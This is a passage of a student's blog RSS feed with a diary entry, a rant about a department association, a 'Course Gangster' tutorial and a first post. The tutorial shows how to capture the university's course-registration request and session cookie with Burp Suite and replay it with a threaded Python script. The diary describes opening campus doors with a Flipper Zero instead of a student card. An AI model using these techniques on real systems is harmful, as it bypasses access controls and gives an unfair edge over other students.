&lt;h3 id=&quot;latex&quot;&gt;&lt;a aria-hidden=&quot;true&quot; tabindex=&quot;-1&quot; href=&quot;#latex&quot;&gt;&lt;span class=&quot;icon icon-link&quot;&gt;&lt;/span&gt;&lt;/a&gt;LaTeX&lt;/h3&gt;
&lt;p&gt;Playing is playing, but I did get some work done too. Learned &lt;a href=&quot;https://class.kh.edu.tw/19061/bulletin/msg_view/592&quot;&gt;LaTeX&lt;/a&gt; the past few days. Digitized my notes and put them on AFFINE. Now I can view them anywhere, and they look better too. But recent classes haven’t been many, &lt;del&gt;probably because I only have 18 credits and don’t feel it.&lt;/del&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://img.windson.cc/images/2025/9/diary-25-09-19/LaTeX.webp&quot; alt=&quot;LaTeX&quot;&gt;&lt;/p&gt;
&lt;h3 id=&quot;course-gangster&quot;&gt;&lt;a aria-hidden=&quot;true&quot; tabindex=&quot;-1&quot; href=&quot;#course-gangster&quot;&gt;&lt;span class=&quot;icon icon-link&quot;&gt;&lt;/span&gt;&lt;/a&gt;&lt;a href=&quot;/posts/coursegangster-1/&quot;&gt;Course Gangster&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;Not planning to release part 2 yet because the cookie problem isn’t solved—the school’s cookie is http-only. Might settle for manually copying from F12 next. As for the school’s course number dictionary, I heard the school has a public API, so shouldn’t be a big problem. Will post after testing next semester.&lt;/p&gt;
&lt;h3 id=&quot;flipper-zero-nfc&quot;&gt;&lt;a aria-hidden=&quot;true&quot; tabindex=&quot;-1&quot; href=&quot;#flipper-zero-nfc&quot;&gt;&lt;span class=&quot;icon icon-link&quot;&gt;&lt;/span&gt;&lt;/a&gt;Flipper Zero NFC&lt;/h3&gt;
&lt;p&gt;Haven’t been carrying my student ID lately, &lt;del&gt;just use flipper to open doors anyway&lt;/del&gt;. The campus door access map is being drawn. Some doors only check card numbers, some have weird settings like AC POWER FAILURE, etc. Will post a map article later. The next goal is to open doors without copying cards. Once it’s done, will definitely open source—the information online is really scarce. Welcome anyone who wants to join to reach out.&lt;/p&gt;</content:encoded></item><item><title>Boom! Ranting About the Department</title><link>https://www.windson.cc/en/posts/complainDSA/</link><guid isPermaLink="true">https://www.windson.cc/en/posts/complainDSA/</guid><description>Since joining the department student association, I’ve found that the seniors are getting more and more… abstract. How should I put this? Is it because courses like Linear Algebra, Calculus, and Discr</description><pubDate>Sat, 13 Sep 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Since joining the department student association, I’ve found that the seniors are getting more and more… abstract. How should I put this? Is it because courses like Linear Algebra, Calculus, and Discrete Mathematics are too abstract, which has made all the seniors weird and strange?&lt;/p&gt;
&lt;!--more--&gt;
&lt;p&gt;Now I’ll take you through the various strange behaviors of these seniors! &lt;del&gt;Actually, I’m just calling them out one by one&lt;/del&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id=&quot;department-coordinator&quot;&gt;&lt;a aria-hidden=&quot;true&quot; tabindex=&quot;-1&quot; href=&quot;#department-coordinator&quot;&gt;&lt;span class=&quot;icon icon-link&quot;&gt;&lt;/span&gt;&lt;/a&gt;Department Coordinator&lt;/h2&gt;
&lt;h3 id=&quot;incident-1&quot;&gt;&lt;a aria-hidden=&quot;true&quot; tabindex=&quot;-1&quot; href=&quot;#incident-1&quot;&gt;&lt;span class=&quot;icon icon-link&quot;&gt;&lt;/span&gt;&lt;/a&gt;&lt;strong&gt;Incident 1&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;When recruiting staff for the camp, they said it would take about six hours per week to practice, but the actual time spent on various activities has far exceeded that number. Just one activity alone requires six hours of practice per week, and no one is responsible for only one activity, so the accumulated time is definitely not negligible. Additionally, they didn’t inform candidates about the staff fee during recruitment. I only learned about this fee at the briefing session, and it was too late to withdraw by then. There’s been no further news since, so I won’t discuss it further. But this series of actions makes it feel like “lure people in first, deal with the consequences later.”&lt;/p&gt;
&lt;h3 id=&quot;incident-2&quot;&gt;&lt;a aria-hidden=&quot;true&quot; tabindex=&quot;-1&quot; href=&quot;#incident-2&quot;&gt;&lt;span class=&quot;icon icon-link&quot;&gt;&lt;/span&gt;&lt;/a&gt;&lt;strong&gt;Incident 2&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;Regarding the “North, Central, South Welcoming Events,” they uploaded all the first-year students’ information to the department’s main group chat. No personal data protection whatsoever was implemented. Everyone in the group could download the file, which contained the mailing addresses and phone numbers of all first-year freshmen.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://img.windson.cc/images/2025/9/complainDSA/complainDSA-1.webp&quot; alt=&quot;complainDSA-1&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://img.windson.cc/images/2025/9/complainDSA/complainDSA-2.webp&quot; alt=&quot;complainDSA-2&quot;&gt;
(The data has been blurred to protect personal information, keeping only student IDs to prove they are freshmen)&lt;/p&gt;
&lt;p&gt;明明這種重要的事情，可以請負責人用學校的domain，寄一封信給全系大一的新生。學校的學生信箱很有規律，寫一隻 Python 就可以輕鬆解決。&lt;del&gt;程式設計都白修了&lt;/del&gt;。一個一個打電話過去問，不僅浪費時間、沒有效率，還有很大的機會被當成詐騙，造成負責人的麻煩。如此，負責人也不需要大一新生的資料，他們的個資也不會有危險。&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id=&quot;abstract-seniors&quot;&gt;&lt;a aria-hidden=&quot;true&quot; tabindex=&quot;-1&quot; href=&quot;#abstract-seniors&quot;&gt;&lt;span class=&quot;icon icon-link&quot;&gt;&lt;/span&gt;&lt;/a&gt;Abstract Seniors&lt;/h2&gt;
&lt;h3 id=&quot;one&quot;&gt;&lt;a aria-hidden=&quot;true&quot; tabindex=&quot;-1&quot; href=&quot;#one&quot;&gt;&lt;span class=&quot;icon icon-link&quot;&gt;&lt;/span&gt;&lt;/a&gt;&lt;strong&gt;One&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;I think he’s strange. He thinks we have problems but doesn’t come directly to us. Instead, he goes to the vice-department coordinators and asks them to relay the message. If there’s a problem, just say it directly instead of going around in circles. Moreover, we completely don’t understand what his issue is. His complaint was: “You should be polite to seniors, I think you’re not polite.” What I want to say is, what era are we in now? The senior-junior hierarchy system has become ridiculous, and we’re still demanding such things. We’ve said what needed to be said and done what needed to be done. Truly abstract.&lt;/p&gt;
&lt;h3 id=&quot;two&quot;&gt;&lt;a aria-hidden=&quot;true&quot; tabindex=&quot;-1&quot; href=&quot;#two&quot;&gt;&lt;span class=&quot;icon icon-link&quot;&gt;&lt;/span&gt;&lt;/a&gt;&lt;strong&gt;Two&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;When taking a certain course, I encountered a senior who said: “This course is very hard to get into for juniors and seniors, why would a sophomore try to grab it?!” (with a weird expression). What I mean is, the school’s system is designed so that juniors and seniors get to select courses first. You have the power to queue up first but choose not to, and then come to complain during add-drop. Having no logic is one thing, but it’s also meaningless. With such illogical reasoning, it’s no wonder so many courses weren’t passed. &lt;del&gt;Even if you get into this course, you might not pass it anyway. Don’t waste this precious spot!&lt;/del&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id=&quot;a-small-murmur-from-being-the-web-admin&quot;&gt;&lt;a aria-hidden=&quot;true&quot; tabindex=&quot;-1&quot; href=&quot;#a-small-murmur-from-being-the-web-admin&quot;&gt;&lt;span class=&quot;icon icon-link&quot;&gt;&lt;/span&gt;&lt;/a&gt;A Small Murmur from Being the Web Admin&lt;/h2&gt;
&lt;p&gt;In the short three months of being a web admin, I’ve noticed that a lot of posts are really unnecessary. Take the freshman tea party as an example: if you want to notify everyone about the freshman tea party, the best approach is email. As I mentioned earlier, everyone’s email in the department can be generated in seconds with a Python script. Using the school’s domain to send emails can avoid the risk of being mistaken for spam and won’t get filtered into the spam folder, so everyone can receive the message.&lt;/p&gt;
&lt;p&gt;But the current approach is to post messages on closed platforms without open-source access and where you need an account to view content (don’t doubt it, Facebook and Instagram). How can anyone think this will ensure everyone receives the message? Why put important information you want to convey on the deep web? Even if many people use these platforms, if you don’t have an account, you won’t receive any news. This is extremely unfair to students who don’t use Instagram or Facebook.&lt;/p&gt;
&lt;p&gt;Additionally, posts after events are also completely meaningless. If you’re only posting because previous years did it, then this tradition should be abolished. Nobody actually reads that post…&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;Everything that needed to be said has been said, and everything that needed to be criticized has been criticized. If someone says: “If you really dare to complain, why don’t you post on Instagram?” My response is: why would I rant on the deep web when I can do it on the public web?&lt;/p&gt;</content:encoded></item><item><title>NCHU Course Gangster - 1</title><link>https://www.windson.cc/en/posts/coursegangster/</link><guid isPermaLink="true">https://www.windson.cc/en/posts/coursegangster/</guid><description>Everyone’s selecting courses lately. My luck was particularly bad—couldn’t get a single general elective, and there were tons of courses that needed add-drop signatures… So I made a small project with</description><pubDate>Thu, 04 Sep 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Everyone’s selecting courses lately. My luck was particularly bad—couldn’t get a single general elective, and there were tons of courses that needed add-drop signatures…&lt;br&gt;
So I made a small project with &lt;a href=&quot;https://iach.cc&quot;&gt;Each Chen&lt;/a&gt;. &lt;del&gt;Actually, it’s brute-force course registration&lt;/del&gt;&lt;/p&gt;
&lt;!--more--&gt;
&lt;hr&gt;
&lt;h2 id=&quot;tools&quot;&gt;&lt;a aria-hidden=&quot;true&quot; tabindex=&quot;-1&quot; href=&quot;#tools&quot;&gt;&lt;span class=&quot;icon icon-link&quot;&gt;&lt;/span&gt;&lt;/a&gt;Tools&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Kali Linux&lt;/li&gt;
&lt;li&gt;Burpsuite (comes with Kali)&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2 id=&quot;grab-the-cookie&quot;&gt;&lt;a aria-hidden=&quot;true&quot; tabindex=&quot;-1&quot; href=&quot;#grab-the-cookie&quot;&gt;&lt;span class=&quot;icon icon-link&quot;&gt;&lt;/span&gt;&lt;/a&gt;Grab the Cookie&lt;/h2&gt;
&lt;p&gt;Open Burpsuite and intercept the POST requests from the school’s course registration system.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://img.windson.cc/images/2025/9/coursegangster/coursegangster-1.webp&quot; alt=&quot;burpsuite screenshot&quot;&gt;&lt;/p&gt;
&lt;p&gt;After our observation, every time the system performs a major action (add/drop courses), it issues a new cookie.
So you need to bake a fresh cookie after each course operation. Also, the header doesn’t change during registration. Even if there’s a content-length field, it doesn’t seem to matter. &lt;del&gt;Experiments show that you can delete it directly and still register successfully&lt;/del&gt;.&lt;/p&gt;
&lt;p&gt;The intercepted POST for course registration looks like this:&lt;/p&gt;
&lt;pre class=&quot;astro-code github-dark-default&quot; style=&quot;background-color:#0d1117;color:#e6edf3; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;text&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;POST /cofsys/plsql/enro_nomo3_dml HTTP/1.1&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;Host: cportal.nchu.edu.tw&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;Cookie: DONT STEAL MY COOKIE　　#Copy this one, don&apos;t steal my cookie&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;Content-Length: 42      #Length of the last line&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;Cache-Control: max-age=0&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;Sec-Ch-Ua: &quot;Chromium&quot;;v=&quot;137&quot;, &quot;Not/A)Brand&quot;;v=&quot;24&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;Sec-Ch-Ua-Mobile: ?0&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;Sec-Ch-Ua-Platform: &quot;Linux&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;Accept-Language: en-US,en;q=0.9&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;Origin: https://cportal.nchu.edu.tw&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;Content-Type: application/x-www-form-urlencoded&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;Upgrade-Insecure-Requests: 1&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;Sec-Fetch-Site: same-origin&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;Sec-Fetch-Mode: navigate&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;Sec-Fetch-User: ?1&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;Sec-Fetch-Dest: frame&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;Referer: https://cportal.nchu.edu.tw/cofsys/plsql/enro_nomo2_check&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;Accept-Encoding: gzip, deflate, br&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;Priority: u=0, i&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;Connection: keep-alive&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;p_stud_no=your_student_id&amp;#x26;v_tick=1057847751891  #Your student ID first, then the course number&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Next, copy the curl command and we’re ready to put it in the oven~&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://img.windson.cc/images/2025/9/coursegangster/copycurl.webp&quot; alt=&quot;burpsuite screenshot&quot;&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id=&quot;bake-the-cookie&quot;&gt;&lt;a aria-hidden=&quot;true&quot; tabindex=&quot;-1&quot; href=&quot;#bake-the-cookie&quot;&gt;&lt;span class=&quot;icon icon-link&quot;&gt;&lt;/span&gt;&lt;/a&gt;Bake the Cookie&lt;/h2&gt;
&lt;p&gt;The cookie is out, now put it in the &lt;a href=&quot;https://curlconverter.com/python/&quot;&gt;oven&lt;/a&gt;. Paste what you copied into curl, write a Python script to send everything out, and you’re done!&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://img.windson.cc/images/2025/9/coursegangster/curltopython.webp&quot; alt=&quot;burpsuite screenshot&quot;&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id=&quot;start-the-heist&quot;&gt;&lt;a aria-hidden=&quot;true&quot; tabindex=&quot;-1&quot; href=&quot;#start-the-heist&quot;&gt;&lt;span class=&quot;icon icon-link&quot;&gt;&lt;/span&gt;&lt;/a&gt;Start the Heist!&lt;/h2&gt;
&lt;p&gt;Here I’ll get ChatGPT to help write it:&lt;/p&gt;
&lt;pre class=&quot;astro-code github-dark-default&quot; style=&quot;background-color:#0d1117;color:#e6edf3; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;python&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt; requests&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;from&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt; concurrent.futures &lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt; ThreadPoolExecutor&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;cookies &lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;    Paste your cookie here&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;headers &lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;    Paste your headers here&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;data &lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt;    &apos;p_stud_no&apos;&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt;&apos;StudentID&apos;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt;    &apos;v_tick&apos;&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt;&apos;Class Number&apos;&lt;/span&gt;&lt;span style=&quot;color:#8B949E&quot;&gt; #Find it in the course registration system with F12&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;def&lt;/span&gt;&lt;span style=&quot;color:#D2A8FF&quot;&gt; send_request&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;():&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;    try&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;        response &lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt; requests.post(&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt;            &apos;https://cportal.nchu.edu.tw/cofsys/plsql/enro_nomo3_dml&apos;&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFA657&quot;&gt;            headers&lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;headers,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFA657&quot;&gt;            cookies&lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;cookies,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFA657&quot;&gt;            data&lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;data&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;        )&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#79C0FF&quot;&gt;        print&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;f&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt;&apos;Status: &lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;{&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;response.status_code&lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;}&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt;, Length: &lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;{&lt;/span&gt;&lt;span style=&quot;color:#79C0FF&quot;&gt;len&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;(response.text)&lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;}&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt;&apos;&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;    except&lt;/span&gt;&lt;span style=&quot;color:#79C0FF&quot;&gt; Exception&lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt; as&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt; e:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#79C0FF&quot;&gt;        print&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;f&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt;&apos;Error: &lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;{&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;e&lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;}&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt;&apos;&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B949E&quot;&gt;# Set maximum 5 concurrent threads&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;with&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt; ThreadPoolExecutor(&lt;/span&gt;&lt;span style=&quot;color:#FFA657&quot;&gt;max_workers&lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#79C0FF&quot;&gt;5&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;as&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt; executor:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B949E&quot;&gt;    # Send 10 requests&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;    futures &lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt; [executor.submit(send_request) &lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;for&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt; _ &lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;in&lt;/span&gt;&lt;span style=&quot;color:#79C0FF&quot;&gt; range&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#79C0FF&quot;&gt;10&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;)]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B949E&quot;&gt;    # Wait for all tasks to complete&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;    for&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt; future &lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;in&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt; futures:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;        future.result()&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Run this program and you’ll get the course you want. Assuming there are no time conflicts and you were originally eligible to take it (like courses not open to other departments—forcing a POST there will just make the server think you’re being unreasonable).&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id=&quot;reflections&quot;&gt;&lt;a aria-hidden=&quot;true&quot; tabindex=&quot;-1&quot; href=&quot;#reflections&quot;&gt;&lt;span class=&quot;icon icon-link&quot;&gt;&lt;/span&gt;&lt;/a&gt;Reflections&lt;/h2&gt;
&lt;p&gt;While we discovered a method to directly send POST requests for course registration, currently it can only handle one course at a time, and you need to update the cookie after each submission. Trying to register two or more courses at once results in variables being wiped, ending up with only the last course. I’ll solve this problem next time.&lt;/p&gt;
&lt;p&gt;This time we achieved only semi-automation. I’ll try to develop a fully automated solution during the next registration window. Currently, I’m thinking of using a shell script to grab the cookie and convert it to curl format to send directly to the server. This method is more universal, since not everyone knows how to use Kali. I’ll post “NCHU Course Gangster - 2” when it’s done. Good luck with your course selection!&lt;/p&gt;</content:encoded></item><item><title>Hello World</title><link>https://www.windson.cc/en/posts/hello-world/</link><guid isPermaLink="true">https://www.windson.cc/en/posts/hello-world/</guid><description>Hello World!! This site was successfully created today, using Hugo and PaperMod. This success is thanks to my junior, who helped me set up everything. Without his help, this website would probably hav</description><pubDate>Sun, 31 Aug 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;em&gt;Hello World!!&lt;/em&gt;&lt;/p&gt;
&lt;!--more--&gt;
&lt;p&gt;&lt;a href=&quot;https://windson.cc/&quot;&gt;This site&lt;/a&gt; was successfully created today, using Hugo and PaperMod. This success is thanks to my &lt;a href=&quot;https://iach.cc&quot;&gt;junior&lt;/a&gt;, who helped me set up everything. Without his help, this website would probably have taken another week to get online. Although I’ve successfully set up the site this time, there’s still a long way to go before I’m fully familiar with it.&lt;/p&gt;</content:encoded></item></channel></rss>